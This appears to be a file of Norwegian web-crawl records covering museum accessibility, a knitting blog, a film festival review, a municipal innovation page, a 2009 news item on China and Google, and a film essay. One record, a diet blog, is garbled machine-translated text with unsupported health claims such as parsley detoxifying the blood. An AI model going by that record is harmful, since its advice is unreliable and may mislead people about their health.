synsutfordringer og behov for spesielle formidlingstilbud, men det er lite av dette i Norge. Nasjonalmuseet hadde en omreisende utstilling i fjor, der vi gjorde en felles studie av hvordan bes\u00f8kende interagerte med Aase Texmon Ryghs skulpturer. F\u00f8rst gikk de gjennom utstillingen og s\u00e5 p\u00e5 skulpturene, deretter fikk de g\u00e5 gjennom den en gang til, med mulighet til \u00e5 ber\u00f8re dem, sier Pierroux.\n\n\u2013 Vi fant at ber\u00f8ring skapte nye tolkningsmuligheter som var direkte knyttet til kunstverkene. Slike studier er viktige bidrag, men generelt er det veldig lite forskning p\u00e5 hvordan man kan ta i bruk flere sanser i museumsopplevelsen.\n\n## **Etterlyser holdningsendring**\n\nIf\u00f8lge Mellemsether er den st\u00f8rste utfordringen i arbeidet med tilgjengeliggj\u00f8ring av museene \u00e5 f\u00e5 til en holdningendring i hele sektoren.\n\n\u2013 Det trenger ikke kreve s\u00e5 mye penger eller teknologiske l\u00f8sninger. Man kommer langt med \u00e5 tenke annerledes n\u00e5r nye utstillinger og formidlinger forberedes. Det er ikke nok \u00e5 s\u00f8rge for at publikum kommer seg opp trappen og inn i museet hvis det ikke er noe de kan oppleve n\u00e5r de f\u00f8rst kommer inn, sier hun.\n\n\u2013 N\u00e5r man utformer en utstilling b\u00f8r man tenke n\u00f8ye gjennom kontraster, st\u00f8rrelser, h\u00f8yder og lignende. Det handler ikke n\u00f8dvendigvis om \u00e5 tilrettelegge for noen spesielle, men snarere \u00e5 unng\u00e5 \u00e5 legge hindringer. Det gj\u00f8r museene mer tilgjengelige for alle.\n\n", "language": "no", "__index_level_0__": "ea7abc76-15ba-4d2d-b9b1-c3b70e18abb2"}
{"url": "http://ulldottno.blogspot.com/2009/03/ugler-i-rute_18.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:10:49Z", "text": "## onsdag 18. mars 2009\n\n### Ugler i rute\n\nJeg er litt lite til stede n\u00e5, men kort sagt om noe langt:  \n1\\. Velkommen, velkommen til min nye blogg-f\u00f8lger\\!  \n2\\. Min nye hals er ferdig til marsalongen er ferdig. Jeg legger inn min oppskriftsversjon og bildet s\u00e5 fort jeg f\u00e5r kamera-bes\u00f8k.  \n3\\. I kveld strikker jeg i gult og kult. Det er snart p\u00e5ske, og jeg har f\u00e5tt p\u00e5skegarn og oppskrifter :) I kveld blir en flaskekylling klekket\\! Hm, lurer p\u00e5 hva slags egg han er fra. Han er s\u00e5 laaaang\\! G\u00e5r superfort \u00e5 strikke, kanskje han har f\u00e5tt noen ekstra vitaminer. Det blir en flaskekylling p\u00e5 t\u00f8ffinger. Jeg lurer p\u00e5 hva slags egg han klekkes fra, for han blir lang\\! Han vokser superfort, s\u00e5 kanskje inneholder det mirakel-proteiner som bodybuoildere tyr til. Han blir i allefall h\u00e6rlig og gul, og skal passe p\u00e5 p\u00e5skep\u00e5fyll.\n\n09:02           \n\n \n#### 3 kommentarer:\n\n1.  \n    \n    Marit18. mars 2009 kl. 09:23\n    \n    Ja, snart er p\u00e5sken her og da blir det bruk for kyllinger.  \n    Ikke s\u00e5 godt \u00e5 vite hvilket egg denne kommer fra, kanskje en svane. De er s\u00e5 staselige. Lykke til videre med kyllingen.\n    \n2.  \n    \n    ruthelin19. mars 2009 kl. 01:41\n    \n    Jeg gleder meg til \u00e5 se den ferdig\\!\n    \n3.  \n    \n    Heidi19. mars 2009 kl. 02:12\n    \n    Kyllingen riktig strekker hals\\! Tror nok han skj\u00f8nner han skal pynte opp noe langt :)\n    \n", "language": "no", "__index_level_0__": "2ab52496-7ae1-4fb8-8572-5d5554e58738"}
{"url": "https://problemermedforstoppelse.blogspot.com/2015/03/lett-fordyelig-mat.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:14:24Z", "text": "### Lett ford\u00f8yelig mat\n\n \n\nmars 10, 2015\n\n## Diett lett \u00e5 ford\u00f8ye\n\n  \n Denne **dietten** er oftest brukt i sykdommer i ford\u00f8yelsessystemet, men spiller en viktig rolle ogs\u00e5 i forebygging av en rekke sykdommer. Lett ford\u00f8yelig **diett** er en enkel modifikasjon av den grunnleggende ern\u00e6ring. Det er lett ford\u00f8yelig, med mindre det er en ekstra indikasjon **kosthold** b\u00f8r gi oss den samme totale mengden energi og n\u00e6ringsstoffer som det er i riktig ern\u00e6ring av friske mennesker.  \n  \nForskjellen mellom grunnleggende ern\u00e6ring og ern\u00e6ring lett \u00e5 ford\u00f8ye er f\u00f8rst og fremst at av lettford\u00f8yelige ern\u00e6ringsprodukter b\u00f8r utelukkes og vanskelig \u00e5 ford\u00f8ye mat som inneholder forholdsvis h\u00f8y i fiber, flatulens\u00a0gjennomv\u00e5t fett som forblir lenge i magen, samt varme krydder. I tillegg til mat forberedelse b\u00f8r velges riktige matlaging teknikker som tillater deg \u00e5 f\u00e5 mat lettere \u00e5 ford\u00f8ye som ikke er n\u00f8dvendig i grunnleggende ern\u00e6ring.  \n  \n\n> **Husk\\! Dietten kosttilskudd** viss mengde fiber er n\u00f8dvendig, men at denne komponenten b\u00f8r komme s\u00e5 langt som mulig med de unge, delikate gr\u00f8nnsaker, moden frukt, grovt br\u00f8d.\n\n**Fiber i kosten kan reduseres eller gj\u00f8re det mindre irriterende ford\u00f8yelseskanalen etter:**  \n\n  - utvalg av unge, delikate gr\u00f8nnsaker og moden frukt,\n  - fjern fr\u00f8, f.eks. med tomater, squash, rips,\n  - fjerne hud ved peeling frukt og gr\u00f8nnsaker,\n  - separasjon renser gr\u00f8nnsaker inneholder betydelige mengder fiber som strukturelle. asparges, k\u00e5lrabi, etc.\n  - matlaging, som myker fiber,\n  - t\u00f8rke av skjermen,\n  - bruk av rensede kornprodukter\n  - i stedet for tykke gryn\n  - liten, i stedet for grovt br\u00f8d\n  - hvete br\u00f8d, hvete - hel hvete,\n  - bruke i stedet for juice og pureer hele gr\u00f8nnsaker og frukt.\u00a0\n\n## Merknader om tilberedning av mat teknologi og mat for kosttilskudd\n\n  \nTil m\u00e5ltider ble akseptert av oss, b\u00f8r diettmat teknologi mye oppmerksomhet rettes mot mat smakstilsetning, for \u00e5 forbedre sine smakskvaliteter. Vi bruker milde krydder, tillatt i ern\u00e6ring lett \u00e5 ford\u00f8ye. Kjente kulinariske teknikker er den mest brukte for matlaging i vann eller damp. Vi kan ogs\u00e5 brukes i folie eller bakepapir.\n\n  \n> **Husk\\!** Fett steking i en tradisjonell m\u00e5te er helt utelukket fra **kosttilskudd**. Men du kan \"yngel\" for eksempel. Egg p\u00e5 h\u00e5nden. For steking dampende kan bare brukes sm\u00f8r.\n\n  \nStor gjelder den s\u00e5kalte. puddinger av kj\u00f8tt, fisk, ris eller pasta og kj\u00f8tt, ost, gr\u00f8nnsaker og mer. Puddinger delikatesse oppn\u00e5 ved forsiktig sliping produkter l\u00f8sner ved \u00e5 legge den gjennomv\u00e5t br\u00f8d eller semule og alltid pisket skum av egg protein. Puddinger plasseres i en spesiell lukkede former som er satt inn i et kar med kokende vann og kokt.\n\n  \n> **Husk\\!** For dressing, gj\u00f8r supper og sauser ikke bruke roux av mel og fett, og tyknet med mel slam dem i vann, mel, melk eller s\u00f8t krem.\n\n  \nGr\u00f8nnsaker, tilberedte ogs\u00e5 uten roux, bare \"vann\" str\u00f8 mel, med tillegg av fersk sm\u00f8r.\n\n## Forslag til enkelte matvarer i kostholdet til lett ford\u00f8yelige m\u00e5ltider\n\n**Frokost:** melk suppe med tillegg av autorisert produkt som mel, melk, te eller kaffe med melk, d\u00e5rlig kakao. Hvis du er lei melk suppe, kan drikken v\u00e6re en te, te med sitron. Br\u00f8d Blandet / tillatte typer br\u00f8d / sm\u00f8r, majones, tilberedes fra soyaolje, solsikke eller olivenolje med sitronsaft / uten sennep /. Br\u00f8d protein produktet kan v\u00e6re en hvit ost, cottage cheese homogenisert, bl\u00f8tkokte egg, p\u00f8lse / av tillatt / bakt i folie eller kaldt kalvekj\u00f8tt kj\u00f8ttboller. Det kan legges til syltet\u00f8y eller honning. For dette m\u00e5ltidet er det \u00f8nskelig \u00e5 tilveiebringe sesongens gr\u00f8nnsaker eller frukt juice.\n\n  \n**Frokost II:** drikk -en av de i frokost eller frukt juice, gr\u00f8nnsaker, surmelk, sandwich med ost eller skinke eller en drink og et stykke deig eller annen tillatt p\u00e5 denne dietten / svamp, bestemor gj\u00e6r / melk pudding, frukt gel\u00e9, cottage cheese med eple.\n\n  \n**Lunsj:** suppe fra autoriserte produkter: bygg suppe, gr\u00f8nnsakssuppe, r\u00f8dbeter, tomat, frukt, avfettet buljong, potet. Kj\u00f8tt, fisk, kj\u00f8tt eller halvt hjerte tilf\u00f8rsel av animalsk protein. Som et supplement - poteter, hel, ren e, ris eller bokhvete gryn kokt, lite delikat pasta. Kokte gr\u00f8nnsaker, r\u00e5 - revet gulrot, skrelt tomat, salat med olje eller s\u00f8t krem. Til dessert kan v\u00e6re r\u00e5 frukt / av lov /, kompott, gel\u00e9 melk eller frukt, frukt drikke. Te: drikke med en sandwich, en drink og en kake, frukt, eller en av de andre oppf\u00f8rt i middags desserter.\n\n  \n**Middag:** kokt fatet s\u00e5 ofte som mulig: pudding med kj\u00f8tt eller ost, kylling eller fisk i aspik, fisk eller kj\u00f8tt med gr\u00f8nnsaker, risotto med kj\u00f8tt og gr\u00f8nnsaker, ostemasse og grits eller poteter. Jeg drikker som frokost, br\u00f8d, sm\u00f8r. Hvis parabolen er tilberedt og inneholder animalsk protein supplement kan gis syltet\u00f8y eller honning, hvis det er slik. Rice med epler m\u00e5 v\u00e6re additiv br\u00f8d ost, kj\u00f8tt eller fisk. Det er ogs\u00e5 indisert for tillegg av gr\u00f8nnsaker, frukt eller fruktjuice.\n\n## Et eksempel p\u00e5 menyen for kosttilskudd\n\n  \n\n**Frokost:** br\u00f8d, sm\u00f8r, p\u00f8lser varm kylling, salat, syltet\u00f8y, kaffe kornblanding med melk.\n\n  \n**Frokost II:** pudding med fruktjuice.\n\n  \n**Lunsj:** Blomk\u00e5lsuppe med poteter, stykke kj\u00f8tt, poteter, gulr\u00f8tter kokt.\n\n  \n**Te:** gj\u00e6r kake, jordb\u00e6r kompott.\u00a0\n\n  \n**Middag:** late dumplings, br\u00f8d, skinke p\u00f8lse, sm\u00f8r, te med sitron. banan.\n\n\ndesember 02, 2014\n\nRensing kroppen persille**Persille**, takket v\u00e6re sin rike sammensetning, renser blodet for giftstoffer. **Kroppen** begynner \u00e5 mer-kompetente og mer effektiv drift. Studien viste ogs\u00e5 sterk anti persille, noe som resulterer i en reduksjon i hyppigheten av forekomsten av kviser og akne p\u00e5 forsiden og baksiden.  \n  \n\n\n\n", "language": "no", "__index_level_0__": "88b24959-918d-4050-ad49-df3ffc2ad20d"}
{"url": "http://montages.no/2015/06/parforhold-kunst-og-norsk-natur-i-grimstad/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:35:35Z", "text": "## Alex Garlands Annihilation er et mektig byggverk av en andrefilm\n\n# Parforhold, kunst og norsk natur i Grimstad\n\nAv Thor Joachim Haga 24. juni 2015\n\n**Da den 38. utgaven av Kortfilmfestivalen gikk av stabelen 10.-14. juni i \u00e5r, var mye som f\u00f8r \u2013 spesielt spennet i kvalitet og problemstillinger. Men med rekordmange p\u00e5meldinger og egne programmer fra store internasjonale festivaler, f\u00f8ltes det likevel som en ekstra sterk \u00e5rgang.**\n\nSolskinn, b\u00f8lgeskvulp og klirrende N\u00f8gne \u00d8-glass preget nok en gang Kortfilmfestivalen i Grimstad \u2013 like mye en bransjefest som det er en plattform for nye filmtalenter med spillefilm-ambisjoner. I \u00e5r var 316 kortfilmer p\u00e5meldt, en \u00f8kning p\u00e5 31% fra i fjor. Av disse ble 55 filmer plukket ut av en forh\u00e5ndsjury best\u00e5ende av Oda Bahr, Geir Kamsv\u00e5g og Charlotte Blom. Som de selv sier i festivalkatalogen: \u00abVi har fors\u00f8kt \u00e5 plukke ut de beste filmene av sitt slag: fra det helt eksperimentelle til den gode novellefilmen og sm\u00e5 \u00f8yeblikksstemninger.\u00bb\n\nI tillegg til faste avdelinger som musikkvideoer, helaftens dokumentarer, spesialprogram og seminarer (blant annet med Aardman-grunnlegger David Sproxton) hadde man ogs\u00e5 f\u00e5tt p\u00e5 plass et internasjonalt kortfilmprogram med utvalg fra de st\u00f8rste filmfestivalene i verden: Tokyo, Sundance, Toronto, Clermont-Ferrand og Berlin. Flere av disse var usedvanlig sterke \u2013 spesielt Clermont-Ferrand \u2013 og l\u00f8ftet dermed helhetsinntrykket betraktelig.\n\nDet betyr ikke at det norske programmet var svakt. Som alltid er spennet stort, og de beste filmene var helt p\u00e5 h\u00f8yde med de internasjonale storhetene. Hvis det likevel er noe som kjennetegner \u00e5rets utvalg, m\u00e5 det v\u00e6re det eklektiske uttrykksspennet. I motsetning til tidligere \u00e5r, blir det dermed vanskeligere \u00e5 lese rent *tematiske* trender ut av programmet \u2013 med unntak av noen f\u00e5 fellesnevnere.\n\nFilmer om parforhold og ulike familiekonstellasjoner er et gjennomgangstema hvert \u00e5r.\u00a0Med s\u00e5 mange variasjoner over samme tema, betyr det at man setter ekstra h\u00f8ye krav til hvordan kammerdramaet er visualisert, skrevet og iscenesatt. Ikke alle filmene leverte p\u00e5 dette punktet.\u00a0Dernest var det en st\u00f8rre andel eksperimentelle kunstfilmer. Noen av dem famlet i pretensi\u00f8s navlebeskuelse, mens de som turde \u00e5 la bildene tale for seg, lyktes bedre. Endelig kan man ogs\u00e5 spore et h\u00f8yt antall samiske og nordnorske s\u00f8kere til \u00e5rets utgave, kokt ned til en god h\u00e5ndfull representanter.\n\n\n\n\"Proletar\" (regi: \u00d8ivind Holtmon)\n\nI et slikt utvalg handler det om \u00e5 begi seg ut p\u00e5 oppdagelsesferd; om \u00e5 lokalisere filmene som ikke bare har noe p\u00e5 hjertet, men som makter \u00e5 formidle det i et interessant filmspr\u00e5k. Blant \u00e5rets \u00e5tte bolker var det noen som presterte nettopp det.\n\nAlexander Zwarts **Stagnasjon** er et innlegg om finanskrisen i Hellas, fortalt via skjebnen til en butikkeier og hans s\u00f8nn. Det monokrome uttrykket, farens frustrasjon og det ektef\u00f8lte forholdet mellom far og s\u00f8nn sender umiddelbart assosiasjoner til Asghar Farhadi. Imponerende av Harald Zwarts halvbror. Svart/hvitt er ogs\u00e5 **Oslos rose** av Det sporadiske filmkollektivet, denne gang et enkelt, humoristisk uttrykk b\u00e5ret oppe av skuespillere og manus alene. Spesielt oppsiktsvekkende er det naturlige, komiske talentet til Nader (Nader Kadhemi) som kjenner frustrasjonen p\u00e5 kroppen n\u00e5r hans store kj\u00e6rlighet Janne (Janne Heltberg) muligens viser seg \u00e5 v\u00e6re lesbisk.\n\nSkuespiller Janne Heltberg er for \u00f8vrig et annet gjennomgangstema under \u00e5rets festival, med hele fire filmer p\u00e5 programmet, deriblant den Terry Gilliam-inspirerte **Proletar** (\u00d8ivind Holtmon) og det pulserende pardramaet **Hong Kong** (Lilja Ingolfsdottir) \u2013 begge i det \u00f8vre sjiktet av bidrag.\n\nNorsk natur er som alltid en glimrende m\u00e5te \u00e5 speile historienes intrige. Kardo Manurs **Kaptein** b\u00e6rer tydelig sin mentor Hisham Zaman p\u00e5 ryggen mens den beskriver en gruppe bulgarske gatemusikanter som traver seg gjennom et iskaldt og \u00f8stblokk-inspirert Oslo, med str\u00e5lende foto av Christian Karlsen. Vinter-Norge beskrives ogs\u00e5 nydelig i Rune Denstad Langlos **Foul** om et androgynt mobbeoffer som pr\u00f8ver \u00e5 underholde seg selv etter skoletid. Her ligger kreativiteten f\u00f8rst og fremst i en jevn str\u00f8m av overraskende innstillinger.\n\n\n\n\"Skate\" aka \"Mot Nord\" (regi: J\u00f8rn Nyseth Ranum)\n\nEt mer sommerlig skogslandskap presenteres i **Mammas mann** (Kristoffer Carlin), som beskriver det turbulente forholdet mellom en sjalu s\u00f8nn og morens nye kj\u00e6reste p\u00e5 helgetur i marka. Den hyperaktive s\u00f8nnen g\u00e5r snart publikum p\u00e5 nervene like mye som kj\u00e6reste Vegar Hoel, og det er til unge Axel Lyngstad Pharos fortjeneste. Det sterkeste bidraget i subsjangeren \"norsk natur\" er likevel J\u00f8rn Nyseth Ranums **Skate** (ogs\u00e5 kjent som **Mot Nord**), en portrettfilm om en gruppe skatere som jager over et forfrossent strandlandskap i Lofoten under m\u00f8rketiden. Hele filmen er konstruert som et kinetisk dikt der vekslingen mellom ultran\u00e6r og total setter det urbane opp mot det rurale.\n\nBlant animasjonsfilmene er det s\u00e6rlig Kajsa N\u00e6ss' **It Was Mine** og Robin Jensens **The Final Frontier** som skiller seg ut. F\u00f8rstnevnte preges av enkel strek og formidler sitt budskap p\u00e5 en poetisk m\u00e5te; den andre en science fiction-fabel som kombinerer datagrafikk og South Park-aktige rollefigurer med godlynt tunga-rett-i-munnen-humor. Animasjon er ogs\u00e5 tilstede i Helene Manghild Kjeldens **The Outing** \u2013 en hypnotiserende krysning av Jim Jarmusch og Tim Burton, der monokrom *live action* kombineres med burlesk *stop motion*, tonesatt av Nick Cave.\n\nBlant det store utvalget kunstfilmer p\u00e5 \u00e5rets program, er det imidlertid Eva Bakkesletts **Breath** som st\u00e5r sterkest \u2013 en film som v\u00e5ger \u00e5 la bildene kommunisere v\u00e5r organiske forbindelse til den pustende planeten rundt oss uten for mange prekende voiceovere (selv om det finnes noen av dem her ogs\u00e5).\n\n\n\n\"Bunker\" (regi: Vibeke Heide)\n\nMen til syvende og sist er det relasjonsdramaene som inspirerer de sterkeste bidragene p\u00e5 \u00e5rets program. Den lokalproduserte **Small Talk** (Even Hafnor) er en herlig liten satire over s\u00f8rlandsgemytt, realisert gjennom klein, **The Office**-aktig humor. **Verdensvevde kropper** (Truls Krane Meby) presenterer en annen familie som b\u00e6rer p\u00e5 ubehagelige hemmeligheter, satt til et 90-tallsunivers med trege modemlinjer og internettets mange fristelser \u2013 herlig nostalgisk for oss som hadde v\u00e5re formative \u00e5r i denne perioden.\n\nMarte Volds **Totem** fremviser Ole Gi\u00e6ver og Marte Magnusdotter Solem i fri humoristisk utfoldelse som et kj\u00e6restepar i eksistensiell krise, innkapslet av tunge bregner og husplanter, som i en byjungel. Vold har dessuten fotografert Vibeke Heides **Bunker**, der barndomsvenninnene Monika (Marie Blokhus) og Irene (Ester Grenersen) pr\u00f8ver \u00e5 gjenerobre deres gamle relasjon. Filmen kombinerer det beste av storsl\u00e5tt nordnorsk natur med sterk, intim karakterutvikling.\n\nLikevel st\u00e5r kanskje **Aurora Langaas Goss\u00e9s** Vi som ser i m\u00f8rket som festivalens sterkeste norske kortfilm. Filmen er regiss\u00f8rens\u00a0avgangsfilm fra Den norske filmskolen, og er et imponerende dykk ned i det dynamiske forholdet mellom Emma (Inga Ibsdotter Lilleaas) og David (Benjamin Helstad), som l\u00f8slates fra fengsel etter \u00e5 ha sonet en dom de begge b\u00e6rer skyld for. Goss\u00e9 bruker varmt og kaldt foto for \u00e5 speile forholdets varierende intensitet, b\u00f8lgende klipperytme og naturlig dialog for \u00e5 skape sitt eget lille univers i leiligheten der mesteparten av handlingen foreg\u00e5r.\n\n**Som denne gjennomgangen antyder, bar \u00e5rets utvalg preg av et usedvanlig stort spenn. Som helhet var det norske kortfilmprogrammet neppe bedre enn tidligere \u00e5r, men n\u00e5r det ble sammenstilt med de h\u00f8yprofilerte, internasjonale bidragene og celebre gjester, er det lett \u00e5 sitte igjen med den f\u00f8lelsen. I tillegg virket festivalens interne logistikk til \u00e5 fungere noe bedre \u2013 i det minste var mange av vinner-regiss\u00f8rene p\u00e5 plass da prisene skulle deles ut. Det skjer ikke hvert \u00e5r.**\n\n", "language": "no", "__index_level_0__": "dfb26b2e-8fd8-454a-997e-4cc28fd21a54"}
{"url": "http://www.jevnaker.kommune.no/Kategori/Bolig-eiendom-og-naring/Innovasjon-/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:10:25Z", "text": "# Innovasjon\n\nJevnaker kommune satser p\u00e5 innovasjon. Bruk av innovasjonsmetodikk legges til grunn for sm\u00e5 og store prosjekter i kommunen.\u00a0\n\nKommunen har gjennomf\u00f8rt oppl\u00e6ring i innovasjonsmetodikk for ledergruppen, for ordf\u00f8rer og 35 n\u00f8kkelpersoner. De som har gjennomf\u00f8rt programmet er sertifiserte innovasjonsagenter. Kommunestyret og tillitsvalgte i kommunen er ogs\u00e5 introdusert for innovasjonstankegangen.\u00a0\n\n## **Nytt, nyttig, og nyttiggjort**\n\nHva er innovasjon? Begrepet stammer fra latin innovare, \u00ab\u00e5 fornye\u00bb eller \u00ab\u00e5 skape noe nytt\u00bb.\u00a0**  \n**\n\nEn mye brukt norsk definisjon p\u00e5 innovasjon er:\n\nInnovasjon er noe som er nytt, nyttig og nyttiggjort. En ny, og samtidig s\u00e5 god l\u00f8sning, at folk vil ta den i bruk.\n\nKS, Kommunens organisasjon, bruker ogs\u00e5 denne definisjonen.\n\n\n## **BLT \u2013 behov, l\u00f8sning, test**\n\nGod innsikt i kundebehovet er en forutsetning for at innovasjon skal skje. Derfor er det viktig \u00e5 kartlegge behovet grundig. I starten handler om det om \u00e5 tenke \u00abstor B\u00bb og \u00abliten L\u00bb, fordi vekt p\u00e5 B sikrer innsikt for prosessen videre, mens L utvikles etter hvert som man T \u2013 tester - p\u00e5 reelle kunder.\n\nEt behov kan defineres som en f\u00f8lt mangel. Det kan for eksempel handle om trygghet, medbestemmelse, fleksibilitet, eller om \u00e5 bli sett og lyttet til. Et r\u00e5d er \u00e5 jobbe med de viktige behovene, ikke de interessante, eller de som er morsomme \u00e5 jobbe med. Innsikt i innovasjonssammenheng kan sies \u00e5 v\u00e6re; evnen til \u00e5 oppn\u00e5 presis og intuitiv forst\u00e5else som hjelp til \u00e5 skape meningsfulle og relevante l\u00f8sninger som folk vil ta i bruk.\n\n### Suksessformelen:\n\nSuksess = behov x l\u00f8sning x ildsjel x team x forankring.\n\nDette er kalt de fem fundamentene\n\n*Kilde: Innovasjon i praksis, veien til den andre siden, redakt\u00f8r Sjur Dagestad.*\n\n## **Innbygger-perspektiv**\n\n\u00c5 trekke inn innbyggerne og se verden med deres briller p\u00e5, st\u00e5r helt sentralt for kommunen:\n\n\\- Vi har l\u00e6rt oss en metodikk. Den store a-ha opplevelsen er hvor g\u00f8y det er \u00e5 trekke inn andre. Vi \u00f8nsker \u00e5 v\u00e6re en kommune som jobber innovativt, og er opptatt av \u00e5 finne gode l\u00f8sninger sammen med de som har behov for tjenestene. Dette skal v\u00e6re Jevnakers kjennemerke framover, sier r\u00e5dmann May-Britt Nordli.\n\n", "language": "no", "__index_level_0__": "e220a9d2-4360-4575-8295-7f633a3ddad5"}
{"url": "https://www.digi.no/artikler/nye-kinesiske-angrep-mot-google/205210", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:36:53Z", "text": "\n\n# Nye kinesiske angrep mot Google\n\nSees i sammenheng med USAs protest mot Kinas p\u00e5legg om webfilter p\u00e5 alle pc-er.\n\n  - Eirik Rossen\n  - Juss og samfunn\n  - 25\\. juni 2009 - 16:36\n\nBeijing (NTB-Reuters): Kina trapper opp anklagene om at Google sprer obsk\u00f8nt materiale, dagen etter at USA ba Kina droppe planene om \u00e5 installere filtre p\u00e5 alle datamaskiner som selges i landet.\n\nKrangelen om kontroll over innholdet p\u00e5 nettsider ligger an til \u00e5 bli enda et irritasjonsmoment i forbindelsene mellom de to landene som verden h\u00e5per skal samarbeide for \u00e5 f\u00e5 verden ut av resesjonen.\n\nUSA mener at tiltakene kan v\u00e6re brudd p\u00e5 internasjonale handelsregler og vurderer \u00e5 klage Kina inn for Verdens handelsorganisasjon (WTO).\n\nDet kinesiske utenriksdepartementet anklaget torsdag Googles engelskspr\u00e5klige s\u00f8kemotor for \u00e5 spre obsk\u00f8nt og vulg\u00e6rt materiale som krenker kinesisk lov, og ga Google ordre om \u00e5 blokkere internettsider med pornografisk innhold.\n\n**Google sperret  \n**Dagen f\u00f8r var Googles engelske og kinesiske tjenester i perioder sperret for bruk i Kina. Ogs\u00e5 e-posttjenesten Gmail var rammet. Torsdag var de tilgjengelige i Beijing, men i flere andre byer var de det ikke.\n\nTalsmann for kinesisk UD, Qin Gang, ville ikke si om myndighetene var ansvarlige for avbruddene, men han gjorde det klart at straffetiltak ville v\u00e6re fullt lovlige.\n\n\u2013 Jeg vil understreke at Google China er et selskap som opererer i Kina for \u00e5 gi internettjenester, og at det m\u00e5 forholde seg til kinesiske lover og reguleringer, sa Qin.\n\n**USA bekymret  \n**USAs handelsminister Gary Locke og handelsrepresentanten Ron Kirk uttrykker i et brev til Kina sin uro over programvareteknologien Gr\u00f8nn demning som Kina vil installere i landets datamaskiner.\n\n\u00abKina setter selskaper i en uholdbar situasjon ved \u00e5 kreve, uten forvarsel, at de skal installere programvare som ser ut til \u00e5 inneb\u00e6re sensur og ha betydning for sikkerheten,\u00bb sier Locke i en erkl\u00e6ring.\n\nKina hevder at form\u00e5let med Gr\u00f8nn demning er \u00e5 beskytte barn mot ulovlige bilder og insisterer p\u00e5 at fristen 1. juli for \u00e5 installere teknologien i alle nye datamaskiner st\u00e5r fast.\n\n**Politisk sensur  \n**Men kritikerne mener at teknologien til Jinhui Computer System Engineering er teknisk problematisk og kan brukes til \u00e5 spionere p\u00e5 internettbrukere og til \u00e5 blokkere sider som Kina m\u00e5tte ha politiske innvendinger mot.\n\nLu Jun, en menneskerettighetsaktivist i Beijing som er motstander av sperreteknologien, sier at Kinas fors\u00f8k p\u00e5 \u00e5 kontrollere internettet etter hvert kan anta en mer politisk tone.\n\n\u2013 Jeg tror deres dypeste bekymring er hvordan internett brukes stadig mer for \u00e5 lansere menneskerettighetskampanjer, sier han.\n\n", "language": "no", "__index_level_0__": "4ff9a521-d6b0-44b1-9e85-1ce0cbfd0914"}
{"url": "http://montages.no/2012/03/begjaer-atombomber-korsfestelse-og-kyllinger-i-ro-go-pa-g/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:22:28Z", "text": "## Artikkelforfatteren\n\n\n\n***Erik V\u00e5gnes** (f.1986) er utdannet lektor i engelsk ved Universitetet i Bergen. I tillegg til \u00e5 studere engelsk har han tatt diverse filmfag, blant annet amerikansk stumfilm og filmanalyse.*\n\n# Begj\u00e6r, atombomber, korsfestelse og kyllinger i *Ro.Go.Pa.G*\n\nAv Erik V\u00e5gnes 12. mars 2012\n\n*I anledning de digitale cinematekene i Bergen, Kristiansand, Lillehammer, Oslo, Stavanger, Troms\u00f8 og Trondheim sitt ukentlige arrangement\u00a0***Torsdagsfilmen***, vil Montages hver uke presentere en artikkel relatert til ukas film. Resten av programmet og mer informasjon om arrangementet\u00a0finner du her. God film\\! **Ro.Go.Pa.G** vises torsdag 15. mars kl. 18.00 (p\u00e5 alle cinematekene unntatt Bergen, som viser den kl. 19.00).*\n\n\\*\n\n**Pier Paolo Pasolini serverer en morsom og kreativ satire over korsfestelsen av Jesus, mens den tidligere mesteren Roberto Rosselini disker opp en flau Freudiansk historie om begj\u00e6r. Den italienske antologifilmen Ro.Go.Pa.G (1963) er tidvis veldig fascinerende, men lider under betydelige svakheter.**\n\n**Ro.Go.Pa.G** er en s\u00e5kalt portmanteau\u2013 eller antologi-film \u2013 det vil si at den best\u00e5r av flere kortfilmer laget av forskjellige regiss\u00f8rer. I Italia p\u00e5 1960-tallet ble en god del slike filmer produsert, hvilket gav kjente regiss\u00f8rer anledning til \u00e5 eksperimentere og utfolde seg i miniatyrformat. I tillegg dro antologifilmer en del publikummere med sine store regiss\u00f8r-navn, og p\u00e5 den m\u00e5ten ble det skapt anledninger til at mindre profilerte filmskapere kunne komme p\u00e5 banen ved \u00e5 slenge seg p\u00e5. N\u00e5 til dags er ikke lenger portmanteu-filmen s\u00e5 vanlig, men sjangeren fikk en slags popul\u00e6rkulturell renessanse med Paris je t'aime (2006) for noen \u00e5r siden\u2014en film som solgte nok billetter til \u00e5 f\u00f8re med seg oppf\u00f8lgeren New York, I Love You (2009). Slike filmer har som oftest et felles tema, som byene i de to sistnevnte eksemplene.\n\n**Ro.Go.Pa.G** var initiert av den italienske produsenten Roberto Amoroso, som opprinnelig ville kalle den *La Vita \u00e9 Bella* (m\u00e5 ikke forveksles med Roberto Benignis film med samme navn fra 1997), en tittel som kan v\u00e6re en ironisering over samfunnskritikken som legges frem i kortfilmene. Men da Pier Paolo Pasolini viste sitt bidrag til Amoroso, en troende mann, ble han s\u00e5 indignert og oppr\u00f8rt at han trakk seg fra hele prosjektet. Inn kom **Alfredo Bini** og filmen fikk navn etter de fire regiss\u00f8rene som bidro med hver sin kortfilm: Roberto ROsselini, Jean-Luc GOdard, **Pier Paolo PAsolini** og Ugo Gregoretti. Rosselini var en rutinert filmskaper p\u00e5 dette tidspunktet og mest kjent for sine neo-realistiske mesterverk Rome, Open City (1945) og Paisan (1946). Godard og Pasolini stod for en nyere og mer radikal politisk filmskapning, preget av en avantgardistisk tiln\u00e6rming. **Ugo Gregoretti** var og ble en relativt ukjent regiss\u00f8r som aldri oppn\u00e5dde noe s\u00e6rlig suksess utenfor Italia.\n\n**Ro.Go.Pa.G** begynner dessverre d\u00e5rlig med 